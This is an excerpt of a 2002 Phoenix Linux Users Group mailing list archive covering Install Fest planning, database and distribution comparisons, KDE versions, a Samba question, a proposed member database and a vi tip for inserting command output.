write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Thu Jun 27 17:00:04 2002 From: plug-discuss@lists.plug.phoenix.az.us (Bryce C) Date: 27 Jun 2002 10:00:04 -0700 Subject: Install fest interest generation In-Reply-To: References: Message-ID: <1025197204.12852.8.camel@bryceco1> That's when I got interested in Linux. The 6th grade (first year of middle school). From that became 9 different computers all running Linux. Thanks Mr. G. Green, wherever you are. On Thu, 2002-06-27 at 09:25, Tom Emerson wrote: > High Schools and the Junior/Middle Schools too. Be nice to spark an > interest at the Middle School level. > > Reaching back in memory, middle school, we had access to the County's > PDP11 via a decwriter & acoustic coupler. We were Gods! (Then high > school, and punch cards, what a let-down.) My son's computer education > isn't too bad, but is limited to very basic office app's (M$). Next > upgrade of hardware, dude's getting a Suse (current box is a souped up > '486 with w'95, I dread attempting a modern X on it and it's 14" > monitor). > > Anyway, back from memory lane, geeks & engineers are born, not made, > there _will_ be an interest at the middle school level. > > - tom e. > ---------- > > On Thu, 27 Jun 2002, tickticker wrote: > > How about advertising the Installfest in the local school systems? The > local high schools are probably full of the curious. And students like > free:-) > > It wouldn't take much get the message out to the schools, perhaps posting it > in the computer labs. then again, IANAE (I am not an educator) but some on > this list are. > > anthony > > ----- Original Message ----- > From: "Jim" > To: > Sent: Wednesday, June 26, 2002 6:47 PM > Subject: Re: (no subject) > > > > -----BEGIN PGP SIGNED MESSAGE----- > > Hash: SHA1 > > > > Install Fests generally attract the curious and the convinced. They are > > either convinced that they want to switch to Linux or they are curious. > They > > are also usually Joe Sixpack types who are getting on the clue train or > > geeks-in-training who know that there is a lot of fun under the hood. Not > too > > many suits show up. That is another project in itself. > > > > If we could wangle out way into one of the many computer shows at the > Civic > > Plaza, those suits and their minions do like to be impressed by the power, > > stability, and performance of the kinds of apps that they license and use > on > > a daily basis > > > > On Wednesday 26 June 2002 18:05, you wrote: > > >
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Enter into colon : mode (also know as 'ed' mode) and execute the 'r'ead command followed by ! and then a command-line. From plug-discuss@lists.plug.phoenix.az.us Thu Jun 27 04:33:45 2002 From: plug-discuss@lists.plug.phoenix.az.us (Robert Bushman) Date: Thu, 27 Jun 2002 00:33:45 -0400 (EDT) Subject: Install Fest II 0626 Status Message-ID: All corrections and feedback very welcome! News: Jim Farli has started the Install Fest II web site. Looking great! Thanks, Jim! http://www.plugpresents.com/installfest2/ Suggestions: - More Install Stations - Preliminary Survey - User Needs? - Feedback Survey - How to Improve? - 802.11 - Press Releases on 31 July and 31 Aug - Student Newspaper Oriented Press Releases - Demo Zone With Demonstrators - Presentations - PLUG Promotional Materials (PLUG Flyer) - PLUG Promotional Materials (PLUG T-Shirt) - Mailing List Registration - Current Lists - May We Contact You? - Attendees - May We Contact You? - Install Customers - PLUG Membership Database - Homemade Cheesecake Tasks: - Verify site (GCC Student Union?) and date (28 Sep?). - Assess priority and feasibility of suggestions. - Identify volunteers for open slots. Sponsor Status: - Sun Sent an email to the AZ educational sales rep requesting information on the right channel for sponsorship queries. Volunteers: Flyer: Michelle Lowman Press: Lee Einer Site: Steve (foodog) (pending GCC approval) Web Site: Jim Farli Chairman: Bob Bushman Open Volunteer Slots (verified): - Sponsor Wrangler Contact companies regarding sponsorship. Alan has been mentioned as a good resource for contacts. - Installers Be on hand day of show to do installs. Typically oriented by distro, and would be nice to have some specialists (multi-boot, firewall, etc). Open Volunteer Slots (proposed): - Surveys Arrange print and online versions of two surveys: Preliminary, focusing on the type of install needed. Feedback, focusing on opportunities for improvement. A first draft of a feedback survey is available. - 802.11 Arrange use of appropriate wireless gear. - Demo Zone Arrange demonstrators and coordinate efforts to provide appropriate systems. - Presentations Arrange presenters and coordinate access to a projector and OpenOffice presentation software. - T-Shirts Arrange printing of PLUG T-Shirts for sale and/or doorprizes at Install Fest. Probably requires harvesting of donations and/or investment in return on sales. - Contact Registration Arrange electronic and paper registration for mailing lists and "May We Contact You"s. - PLUG Membership Database Arrange a database for categorizing and searching through PLUG friends for experts in given areas. - Homemade Cheesecake Arrange for food for the hardworking volunteers. - Legal Make sure our collective butt is covered. In particular consider the data loss indemnification from last time, and the cost/benefit/permission of selling T-shirts, StarOffice, and/or cheesecake. ------------------------------------------------------------------- "...it's time to drop all the Reagan-era cliches and face facts. That much economic clout in the hands of one company is bad for the whole software industry. Including Microsoft. This is [no longer] a free market." - Flying Monkey 6 ------------------------------------------------------------------- From plug-discuss@lists.plug.phoenix.az.us Tue Jun 25 17:16:44 2002 From: plug-discuss@lists.plug.phoenix.az.us (Chris Cowan) Date: Tue, 25 Jun 2002 10:16:44 -0700 Subject: PostgreSQL versus MySQL (fwd) In-Reply-To: <7D2FB294FA311F4299D03CC8D39043707165AE@mainex5.asu.edu> References: <7D2FB294FA311F4299D03CC8D39043707165AE@mainex5.asu.edu> Message-ID: <20020625171645.72D3950C005@hydra.ctprm.com> For the record, I agree with Joel. Chris Cowan Chief Hybrid UberMonkey Centralized Institute for Applied Neuroinformatics On Tuesday 25 June 2002 08:11 am, you wrote: > In my opinion the speed difference between PostgreSQL and MySQL is > negligible. Tim Perdue from SourceForge did a study a while back > demonstrating that the newer PostgreSQL was actually faster than MySQL in > some cases. Trigger and PL support in PGSQL is very nice and I have never > been let down by PostgreSQL. PostgreSQL is the foundational database for > all of my Genomics research projects. I am transparently bias on the > subject because I have been burned by MySQL a few times so take that into > consideration. A replication daemon for PostgreSQL is also coming along > nicely. > > Joel Dudley > Faculty Research Associate > Arizona State University > Kumar Laboratory of Evolutionary Functional Genomics > http://lsweb.la.asu.edu/skumar/ > > > -----Original Message----- > From: William Lindley [mailto:wlindley@wlindley.com] > Sent: Monday, June 24, 2002 9:13 PM > To: Phoenix Linux Users Group > Subject: Re: PostgreSQL versus MySQL (fwd) > > > In response to the earlier question, Scott Walters > who is not on the PLUG list writes: > > -------- > > PostgreSQL supports triggers, constraints, PL, subqueries, and serveral > other things. > > MySQL supports replication, precompiled queries (huge speed up on resident > code), and is optimized for throughput in addition to speed. > > Both of them are very fast, and out perform almost all commercial > databases, hands down. > > I wouldn't sweat it too much either way unless you specificly need a > feature that only one or the other has. They are both excellent systems. > > I'd use MySQL where speed was the biggist factor. > > I'd use Postgres where complex reporting or building a large > ("Enterprise") data warehouse was the concern. > > -scott > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Wed Jun 26 17:24:43 2002 From: plug-discuss@lists.plug.phoenix.az.us (Robert Rogers) Date: Wed, 26 Jun 2002 10:24:43 -0700 Subject: Hello I'm new (kinda) References: <20020626080850.51634.qmail@web13408.mail.yahoo.com> Message-ID: <3D19F8DB.7070009@rogersdirect.com> Are you able to play Region 1 DVD's? I am only able to play region free DVD's on Mandrake 8.2 bob smith wrote: >Hello Kyle, Welcome aboard. > > > >>Anyways, I'd like to extend my thanks to everyone in >>and running this >>group; You guys really do a stellar job. >> >> >> > > > >>-Kyle >>Linux: It's a good thing. >> >> >Don't forget Tux's pitchfork toting cousin :). I just >got perfect dvd playback in freebsd which is something >I never could accomplish in Linux (My own fault though >I would assume since I'm using the linux modules to do >this). Just out of curiosity was there any mention of >FreeBSD at the latest installfest? > >__________________________________________________ >Do You Yahoo!? >Yahoo! - Official partner of 2002 FIFA World Cup >http://fifaworldcup.yahoo.com >________________________________________________ >See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > >PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us >http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > From plug-discuss@lists.plug.phoenix.az.us Wed Jun 26 19:16:28 2002 From: plug-discuss@lists.plug.phoenix.az.us (Richard L. Proctor) Date: Wed, 26 Jun 2002 12:16:28 -0700 Subject: Crappy Products cost more. Message-ID: <000e01c21d45$fcc8c440$0e02a8c0@krycom> This is a multi-part message in MIME format. ------=_NextPart_000_0009_01C21D0B.4C6D1C20 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Is it my imagination or does it seem that the worst products always = costs more. ie. If you want Windows XP you plan on paying $179. for = the home version and more for the professional version. Again with = RedHat you have a $79.95 personal or workstation edition and comes with = 3 cd's. Get the professional version for around $199.00 and i'm not = sure how many cd's come with it. Is RedHat trying to compete with = Microsoft on who can supply the most expensive product? Before anyone goes off saying well you can just download the distro and = don't have to pay those prices. I am thinking of the newbies. I would = never hand a newbie 3 cd's and say here ya go. I would like to have the = documentation to go with it. Of course Redhat and Windows both give you = wafer thin manuals. SuSE and Mandrake give you good size manuals with = plenty of information packed in them. Also SuSE Professional is only = $79.95 and comes with 7 cd's and one DVD. The DVD had everything all 7 = cd's have and you don't have to do any disk swaps. I have worked with Redhat, Mandrake, and SuSE and it seems that Redhat = lags far behind the competitors. Try to install Redhat on a seperate = hard disk with Windows XP on the first hard disk in NTFS format, Redhat = won't even make an entry for Windows XP in lilo. I can imagine the = panic attack a newbies face after the redhat install and the only option = is Redhat. LOL That is of course if you can get Redhat to install in = the first place. It don't like being on a second drive or on a partiton = with windows that's any larger than 8 gigs. SuSE has always installed on any drive no matter what the size or what = drive since version 7.1 and earlier maybe. This is a serious issue that = Redhat needs to address. I dunno, I just don't see how the cost of Redhat boxed distro's is = justified. Maybe i'm missing the point? Is there anyone out there that = can show me the point? ------=_NextPart_000_0009_01C21D0B.4C6D1C20 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
Is it my imagination or does it seem = that the worst=20 products always costs more.  ie.  If you want Windows XP you = plan on=20 paying $179. for the home version and more for the professional = version. =20 Again with RedHat you have a $79.95 personal or workstation edition and = comes=20 with 3 cd's.  Get the professional version for around $199.00 and = i'm not=20 sure how many cd's come with it.  Is RedHat trying to compete with=20 Microsoft on who can supply the most expensive product?
 
Before anyone goes off saying well you = can just=20 download the distro and don't have to pay those prices.  I am = thinking of=20 the newbies.  I would never hand a newbie 3 cd's and say here ya = go. =20 I would like to have the documentation to go with it.  Of course = Redhat and=20 Windows both give you wafer thin manuals.  SuSE and Mandrake give = you good=20 size manuals with plenty of information packed in them.  Also SuSE=20 Professional is only $79.95 and comes with 7 cd's and one DVD.  The = DVD had=20 everything all 7 cd's have and you don't have to do any disk = swaps.
 
I have worked with Redhat, Mandrake, = and SuSE and=20 it seems that Redhat lags far behind the competitors.  Try to = install=20 Redhat on a seperate hard disk with Windows XP on the first hard disk in = NTFS=20 format,  Redhat won't even make an entry for Windows XP in = lilo.  I=20 can imagine the panic attack a newbies face after the redhat install and = the=20 only option is Redhat.  LOL  That is of course if you can get = Redhat=20 to install in the first place. It don't like being on a second drive or = on a=20 partiton with windows that's any larger than 8 gigs.
 
SuSE has always installed on any drive = no matter=20 what the size or what drive since version 7.1 = and earlier maybe. =20 This is a serious issue that Redhat needs to address.
 
I dunno,  I just don't see how the = cost of=20 Redhat boxed distro's is justified.  Maybe i'm missing the = point?  Is=20 there anyone out there that can show me the point?
 
 
------=_NextPart_000_0009_01C21D0B.4C6D1C20-- From plug-discuss@lists.plug.phoenix.az.us Thu Jun 27 17:38:23 2002 From: plug-discuss@lists.plug.phoenix.az.us (slr) Date: Thu, 27 Jun 2002 10:38:23 -0700 Subject: (no subject) In-Reply-To: <3D1B01AB.1D1DC61D@georgetoft.com> References: <001b01c21d99$58560770$2f7c0d82@peyote> <3D1B01AB.1D1DC61D@georgetoft.com> Message-ID: <200206271038.23374.zen2now@qwest.net> On Thursday 27 June 2002 05:14 am, George Toft wrote: > When a business person looks at a shift in technology, they must > consider retraining and migration costs. I spend about and hour per day > (less now that we fixed a glaring design error from a Big 5 Consulting > firm that we paid almost 7 figures to) talking with people who are > confused by a statement like this: "Please answer three of the five > questions below." This is demonstrated to me daily as people answer all > five questions. > > There is a substantial difference between you/me, and the average > corporate PC user. Business must take these factors into account when > making migration and upgrade plans. Enlightenment is eye-candy, and not > well suited for a business setting - business needs consistency, > reliability and repeatability. A system that is consistent with what > most people are used to is important. This is all very true and valid, but like i said before i could never see Enlightenment as the main focus of comparisons. In a business enviornment KDE is the most mature choice IMHO, its stable and has great M$ office support. it is what i run on my primary workstation here at work, as we are actively working on migrating users machines over to Linux, and KDE 3.0 is winning over Gnome. But, Install Fests arent totally geared towards business conversions anyway, right? werent they were brought about by the need to help people install Linux, not to sell them on what Desktop enviornment they should use. Enlightenment is total Eye-Candy, but very functional, configurable and stable Eye-Candy when not running on top of Gnome. so yes there is a substantial difference between you/me and the average corporate user. but there are those people who fall into the catagory of you/me that make their way to install fests, and these may people enjoy seeing the many faces of Linux. :~D slr From plug-discuss@lists.plug.phoenix.az.us Thu Jun 27 17:35:30 2002 From: plug-discuss@lists.plug.phoenix.az.us (Logan Kennelly) Date: Thu, 27 Jun 2002 10:35:30 -0700 Subject: Crappy Products Cost More!! In-Reply-To: <4A8DFDA6B395D411A11B00508BEE23FE76B530@mail.int.fh.org> References: <4A8DFDA6B395D411A11B00508BEE23FE76B530@mail.int.fh.org> Message-ID: <200206271035.36935.voltage_spike@fastmail.fm> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 On Thursday 27 June 2002 07:11 am, Tom Achtenberg wrote: > I am a registered user of Red hat. I bought the boxed set for ver 7.2 I > downloaded 7.3 I prefer the KDE desktop. Unfortunately the KDE 3.0 that > is included as part of 7.3 is unstable for Konqueror and Kmail, the two > main applications I want to use. KDE released ver 3.1 several weeks ago. Just for clarification, KDE 3.1 has not been released. Rather it is version 3.0.1. (Note: KDE_3_0_2_RELEASE in CVS as of this week, so expect the release announcement soon.) I also remember an allusion to "K-Mail 3.1" earlier, which I assume was referring to KMail 1.4.1 (the version that comes with 3.0.1). If you are interested in the KDE 3.1 release schedule, it may be found here: http://developer.kde.org/development-versions/kde-3.1-release-plan.html - -- Logan Kennelly ,,, (. .) - --ooO-(_)-Ooo-- -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: For info see http://www.gnupg.org iD8DBQE9G0zmpNoctRtUIRQRAqQmAKCE2zdhfJgWFFVklgyHkwj7bb6lTACeN1jm 5f2zNPQR/Ixau1NJ67Q2b3w= =ojSL -----END PGP SIGNATURE----- From plug-discuss@lists.plug.phoenix.az.us Thu Jun 27 18:05:42 2002 From: plug-discuss@lists.plug.phoenix.az.us (tickticker) Date: Thu, 27 Jun 2002 11:05:42 -0700 Subject: Install fest interest generation References: <001a01c21df2$7c11d5f0$0301010a@tickticker.com> <20020627094623.5d77cc96.mlowman@firstlinux.net> Message-ID: <008801c21e05$407144f0$0301010a@tickticker.com> i learned assembly and pascal in HS in michigan..... ----- Original Message ----- From: "Michelle Lowman" To: Sent: Thursday, June 27, 2002 9:46 AM Subject: Re: Install fest interest generation > Many of my Linux students are school tech coordinators (they're all in KS, tho). I'll keep this in mind and see if I can contact some local tech coordinators and MS/HS computer teachers. (BTW, we learned BASIC and PASCAL in HS in Beloit, KS; now they learn Word and Excel -- bummer.) > > Michelle Lowman > > On Thu, 27 Jun 2002 09:25:22 -0700 (MST) > Tom Emerson wrote: > > > High Schools and the Junior/Middle Schools too. Be nice to spark an > > interest at the Middle School level. > > > > Reaching back in memory, middle school, we had access to the County's > > PDP11 via a decwriter & acoustic coupler. We were Gods! (Then high > > school, and punch cards, what a let-down.) My son's computer education > > isn't too bad, but is limited to very basic office app's (M$). Next > > upgrade of hardware, dude's getting a Suse (current box is a souped up > > '486 with w'95, I dread attempting a modern X on it and it's 14" > > monitor). > > > > Anyway, back from memory lane, geeks & engineers are born, not made, > > there _will_ be an interest at the middle school level. > > > > - tom e. > > ---------- > > > > On Thu, 27 Jun 2002, tickticker wrote: > > > > How about advertising the Installfest in the local school systems? The > > local high schools are probably full of the curious. And students like > > free:-) > > > > It wouldn't take much get the message out to the schools, perhaps posting it > > in the computer labs. then again, IANAE (I am not an educator) but some on > > this list are. > > > > anthony > > > > ----- Original Message ----- > > From: "Jim" > > To: > > Sent: Wednesday, June 26, 2002 6:47 PM > > Subject: Re: (no subject) > > > > > > > -----BEGIN PGP SIGNED MESSAGE----- > > > Hash: SHA1 > > > > > > Install Fests generally attract the curious and the convinced. They are > > > either convinced that they want to switch to Linux or they are curious. > > They > > > are also usually Joe Sixpack types who are getting on the clue train or > > > geeks-in-training who know that there is a lot of fun under the hood. Not > > too > > > many suits show up. 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________________________________________________ > > > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > > > post to the list quickly and you use Netscape to write mail. > > > > > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > > > - -- > > > Jim > > > > > > Freedom is worth protecting > > > > > > -----BEGIN PGP SIGNATURE----- > > > Version: PGP 6.5.8 > > > > > > iQA/AwUBPRpuwisk3ywszI1FEQJ/KACgvsXTGKvsLWy4ACLReiIptTCJmfgAoMc7 > > > pGSiwO1XtT/Q8RCR0ZCtpzwU > > > =JDmD > > > -----END PGP SIGNATURE----- > > > ________________________________________________ > > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > post to the list quickly and you use Netscape to write mail. > > > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Thu Jun 27 18:13:54 2002 From: plug-discuss@lists.plug.phoenix.az.us (Carl Parrish) Date: Thu, 27 Jun 2002 14:13:54 -0400 Subject: Samba Help?? Message-ID: <20020627181354.QGVM8234.lakemtao06.cox.net@smtp.central.cox.net> I let some Window users talk me into rebooting my Linux box to try to fix a problem now my Samba is fubared. I've restarted /usr/bin/smbd and /usr/bin/nmbd but now I can't see any of the window boxes on the network anyone have any ideas? Carl P. From plug-discuss@lists.plug.phoenix.az.us Thu Jun 27 18:08:13 2002 From: plug-discuss@lists.plug.phoenix.az.us (Tom Achtenberg) Date: Thu, 27 Jun 2002 11:08:13 -0700 Subject: Crappy Products Cost More!! Message-ID: <4A8DFDA6B395D411A11B00508BEE23FE76B535@mail.int.fh.org> I stand corrected on my versioning. It still stands that Red Hat has yet to put the 3.0.1 updates which do include fixes to Kmail and Konqueror on up2date. And they refuse to provide Red Hat rpm's of KDE for the ftp sites. -----Original Message----- From: Logan Kennelly [mailto:voltage_spike@fastmail.fm] Sent: Thursday, June 27, 2002 10:36 AM To: plug-discuss@lists.plug.phoenix.az.us Subject: Re: Crappy Products Cost More!! -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 On Thursday 27 June 2002 07:11 am, Tom Achtenberg wrote: > I am a registered user of Red hat. I bought the boxed set for ver 7.2 I > downloaded 7.3 I prefer the KDE desktop. Unfortunately the KDE 3.0 that > is included as part of 7.3 is unstable for Konqueror and Kmail, the two > main applications I want to use. KDE released ver 3.1 several weeks ago. Just for clarification, KDE 3.1 has not been released. Rather it is version 3.0.1. (Note: KDE_3_0_2_RELEASE in CVS as of this week, so expect the release announcement soon.) I also remember an allusion to "K-Mail 3.1" earlier, which I assume was referring to KMail 1.4.1 (the version that comes with 3.0.1). If you are interested in the KDE 3.1 release schedule, it may be found here: http://developer.kde.org/development-versions/kde-3.1-release-plan.html - -- Logan Kennelly ,,, (. .) - --ooO-(_)-Ooo-- -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: For info see http://www.gnupg.org iD8DBQE9G0zmpNoctRtUIRQRAqQmAKCE2zdhfJgWFFVklgyHkwj7bb6lTACeN1jm 5f2zNPQR/Ixau1NJ67Q2b3w= =ojSL -----END PGP SIGNATURE----- ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Thu Jun 27 18:25:29 2002 From: plug-discuss@lists.plug.phoenix.az.us (Tom Achtenberg) Date: Thu, 27 Jun 2002 11:25:29 -0700 Subject: Install fest interest generation Message-ID: <4A8DFDA6B395D411A11B00508BEE23FE76B536@mail.int.fh.org> When I was in high school in Michigan, we learned how to compute with slide rules. (I still have one too) -----Original Message----- From: tickticker [mailto:tickticker@cox.net] Sent: Thursday, June 27, 2002 11:06 AM To: plug-discuss@lists.plug.phoenix.az.us Subject: Re: Install fest interest generation i learned assembly and pascal in HS in michigan..... ----- Original Message ----- From: "Michelle Lowman" To: Sent: Thursday, June 27, 2002 9:46 AM Subject: Re: Install fest interest generation > Many of my Linux students are school tech coordinators (they're all in KS, tho). I'll keep this in mind and see if I can contact some local tech coordinators and MS/HS computer teachers. (BTW, we learned BASIC and PASCAL in HS in Beloit, KS; now they learn Word and Excel -- bummer.) > > Michelle Lowman > > On Thu, 27 Jun 2002 09:25:22 -0700 (MST) > Tom Emerson wrote: > > > High Schools and the Junior/Middle Schools too. Be nice to spark an > > interest at the Middle School level. > > > > Reaching back in memory, middle school, we had access to the County's > > PDP11 via a decwriter & acoustic coupler. We were Gods! (Then high > > school, and punch cards, what a let-down.) My son's computer education > > isn't too bad, but is limited to very basic office app's (M$). Next > > upgrade of hardware, dude's getting a Suse (current box is a souped up > > '486 with w'95, I dread attempting a modern X on it and it's 14" > > monitor). > > > > Anyway, back from memory lane, geeks & engineers are born, not made, > > there _will_ be an interest at the middle school level. > > > > - tom e. > > ---------- > > > > On Thu, 27 Jun 2002, tickticker wrote: > > > > How about advertising the Installfest in the local school systems? The > > local high schools are probably full of the curious. And students like > > free:-) > > > > It wouldn't take much get the message out to the schools, perhaps posting it > > in the computer labs. then again, IANAE (I am not an educator) but some on > > this list are. > > > > anthony > > > > ----- Original Message ----- > > From: "Jim" > > To: > > Sent: Wednesday, June 26, 2002 6:47 PM > > Subject: Re: (no subject) > > > > > > > -----BEGIN PGP SIGNED MESSAGE----- > > > Hash: SHA1 > > > > > > Install Fests generally attract the curious and the convinced. They are > > > either convinced that they want to switch to Linux or they are curious. > > They > > > are also usually Joe Sixpack types who are getting on the clue train or > > > geeks-in-training who know that there is a lot of fun under the hood. Not > > too > > > many suits show up. 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PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Thu Jun 27 18:35:14 2002 From: plug-discuss@lists.plug.phoenix.az.us (Jim) Date: Thu, 27 Jun 2002 11:35:14 -0700 Subject: Membership database In-Reply-To: <5.1.0.14.0.20020626203832.025352a0@localhost> References: <5.1.0.14.0.20020626163527.00a52ec0@localhost> <5.1.0.14.0.20020626203832.025352a0@localhost> Message-ID: <02062711351412.07972@nova.wedge.org> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 My thoughts on a member database. I think it is a great idea. As of right now, we have little information about who is subscribed to any of the mailing lists, other than their mail address. Some people might consider that a "good thing". Any membership information should be gathered voluntarily. We should not require anyone to add information to the database. We should warn them that we will collect at least the email address that they are using to subscribe to a list for the membership database. We do, after all, consider anyone subscribed to any of our mail lists as a PLUG member (makes our numbers look really great). I bet we could get Brian to capture a snapshot of the current subscribers' email addresses from Mailman. We could them mass-email all subscribers pointing them to a yet-to-be built web page with a form to fill out as much or as little information as they want in the database. I bet we could even set up a mechanism to send new subscribers to get sent there automatically. Probably should set up a way to delete data when someone unsubscribes. This is tougher because a person may be subscribed to all the lists but only be unsubscribing from one or two. As far a web space for members, how much space do we have available that we can use for members' pages? It is one thing to search the database and display data about one member, but it will take a lot more space if we set aside even 1M of space for every member. It will take some resources for the database web page that collects the data and for the database and for the scripts that need to be written. It will take more space to search and display routines based on criteria input (sounds like a job for our PhP gurus). All in all, I consider this a great project. It would be even greater if we release all the tools after it is done. I am almost surprised that another UG has not done something like this already. So what do we need in terms of hardware, software, and manpower? Who is gonna organize it? How many members would be interested in participating? - -- Jim Freedom is worth protecting -----BEGIN PGP SIGNATURE----- Version: PGP 6.5.8 iQA/AwUBPRta4isk3ywszI1FEQKgpQCeNUk3KndK5/aslwBtPG42kFb6JUYAnR1t qR5NkSwamOTOgLRJ+rIAeJDg =XeNW -----END PGP SIGNATURE----- From plug-discuss@lists.plug.phoenix.az.us Thu Jun 27 18:47:39 2002 From: plug-discuss@lists.plug.phoenix.az.us (Jim) Date: Thu, 27 Jun 2002 11:47:39 -0700 Subject: Samba Help?? In-Reply-To: <20020627181354.QGVM8234.lakemtao06.cox.net@smtp.central.cox.net> References: <20020627181354.QGVM8234.lakemtao06.cox.net@smtp.central.cox.net> Message-ID: <02062711473913.07972@nova.wedge.org> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 HEY! Anyone know why Carl didnt have a Mozilla 1.0 party? Its never too late, Carl ::grin:: On Thursday 27 June 2002 11:13, you wrote: > I let some Window users talk me into rebooting my Linux box to try to fix a > problem now my Samba is fubared. I've restarted /usr/bin/smbd and > /usr/bin/nmbd but now I can't see any of the window boxes on the network > anyone have any ideas? > > > Carl P. > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss - -- Jim Freedom is worth protecting -----BEGIN PGP SIGNATURE----- Version: PGP 6.5.8 iQA/AwUBPRtdyysk3ywszI1FEQL9HQCgppybd32W54WcoXxuujTln+uQYZkAoOu6 NO8W5AXnnLvebNqFIB23wcY1 =d6FU -----END PGP SIGNATURE----- From plug-discuss@lists.plug.phoenix.az.us Thu Jun 27 19:33:18 2002 From: plug-discuss@lists.plug.phoenix.az.us (Alpha Zenon Sanchez) Date: Thu, 27 Jun 2002 12:33:18 -0700 (PDT) Subject: Crappy Products Cost More!! Message-ID: <20020627193318.32149.qmail@web10605.mail.yahoo.com> I'll have to agree with Tom. When I first purchased Red Hat 7.2, I registered as a user for their 'free' tech support for 30 days. I didn't fell right paying for Linux, but thought the 30-day support would be worth it (I'm new Linux user). When I had problems with my CD-ROM, I went to their web-site for answers. I logged into the members section for answers, but kept on getting 'page cannot be displayed' errors. I was assuming their user's on-line system was down. However, this persisted for a couple of days. I then stumbled upon this group. Got help...and got help quick! I'm not too loyal to Red Hat, and someday, I'll try another distribution. But for now, my machine runs great (thanks to all of you). ===== Thanks, Alpha Zenon Sanchez __________________________________________________ Do You Yahoo!? Yahoo! - Official partner of 2002 FIFA World Cup http://fifaworldcup.yahoo.com From plug-discuss@lists.plug.phoenix.az.us Thu Jun 27 20:45:33 2002 From: plug-discuss@lists.plug.phoenix.az.us (der.hans) Date: Thu, 27 Jun 2002 13:45:33 -0700 (MST) Subject: Membership database In-Reply-To: <02062711351412.07972@nova.wedge.org> Message-ID: Am 27. Jun, 2002 schwätzte Jim so: I stand undecided on the database. A few of us are starting something like that for consulting anyway... > email addresses from Mailman. We could them mass-email all subscribers > pointing them to a yet-to-be built web page with a form to fill out as much SPAM, regardless of the cause, is *BAD*!!! We should not mass-email anyone. If the database project gets done we will have plenty of advertising via the web site and normal discussion on the mailing lists. No need to SPAM people. We would also be able to gently use the announce list. ciao, der.hans -- # https://www.LuftHans.com/ # Keine Ahnung, was ich dir sagen soll, # keine Ahnung und keinen (.)plan. -- die Toten Hosen From plug-discuss@lists.plug.phoenix.az.us Thu Jun 27 20:27:13 2002 From: plug-discuss@lists.plug.phoenix.az.us (Greg) Date: Thu, 27 Jun 2002 13:27:13 -0700 Subject: scripts in vi References: Message-ID: <3D1B7521.4010104@ttiltd.com> thanks. This did it. Greg G.D.Thurman wrote: >On Thu, 27 Jun 2002, Greg wrote: > > > >>For example a script that would insert a date into a document. >> >> >> >+ Press ESC (i.e. make sure 'vi' is not in an insert-mode) >+ Go to the spot in your file where you want to insert > the output of a command. >+ Execute the command using the 'r'ead command as follows... > >:r !date > >Example: > >I'm using 'vi' right now at >Thu Jun 27 10:08:49 MST 2002 > >--- > >What is :r !date ? > >Enter into colon : mode (also know as 'ed' mode) >and execute the 'r'ead command followed by ! and >then a command-line. > >________________________________________________ >See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > >PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us >http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > -- Greg ------------------------------------------------------ "Zycie przestalo byc sztuka i Stalo sie sztuczka cyrkowa." - Edward Stachura From plug-discuss@lists.plug.phoenix.az.us Thu 